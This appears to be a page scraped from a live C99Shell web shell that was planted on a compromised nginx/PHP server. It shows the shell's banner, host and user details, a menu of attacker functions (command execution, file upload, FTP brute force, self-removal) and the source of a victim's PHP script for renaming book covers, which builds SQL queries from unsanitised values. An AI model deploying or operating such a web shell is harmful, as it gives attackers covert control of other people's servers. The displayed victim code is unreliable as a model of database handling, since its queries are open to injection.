!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/automatas/   drwxrwxrwx
Free 83.33 GB of 96.73 GB (86.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     renombre_viejas_portadas.php (1.06 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
  
include ("../frames/conn.php");  
echo 
"<pre>";


// buscamos los libros. Luego, sus portadas. numericas. Si existen, borramos las anteriores, y cambiamos la ruta al nuevo

$sql="select * from papyr225_papyre.sinopsis order by id_book  desc " ;

$res=mysql_query($sql,$conn);

while (
$row=mysql_fetch_array($res)){
    
    if (
strlen(trim($row['imagename']))>or intval(trim($row['imagename']))!=$row['id_book'].".jpg"){
        echo 
"<br> libro {$row['id_book']} -- inamename= {$row['imagename']} ";
    
    if (@
file("/home/wwwroot/includes/{$row['id_book']}.jpg")){
        
        echo 
"---------------EXISTE /home/wwwroot/includes/{$row['id_book']}.jpg";
        
        
//BORRAMOS EL ANTIGUO
        
        
unlink("/home/wwwroot/includes/{$row['imagename']}");
        
        
// actualizamos el nuevo
        
$sql2="update  papyr225_papyre.sinopsis set imagename='{$row['id_book']}.jpg' where id_book={$row['id_book']} ";
        
mysql_query($sql2,$conn);
        if (
mysql_error()){
            die(
mysql_error());
        }
        
    }else{
        echo 
"---------------FALTA /{$row['id_book']}.jpg";
        
    }
    }
    
    
}





?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.003 ]--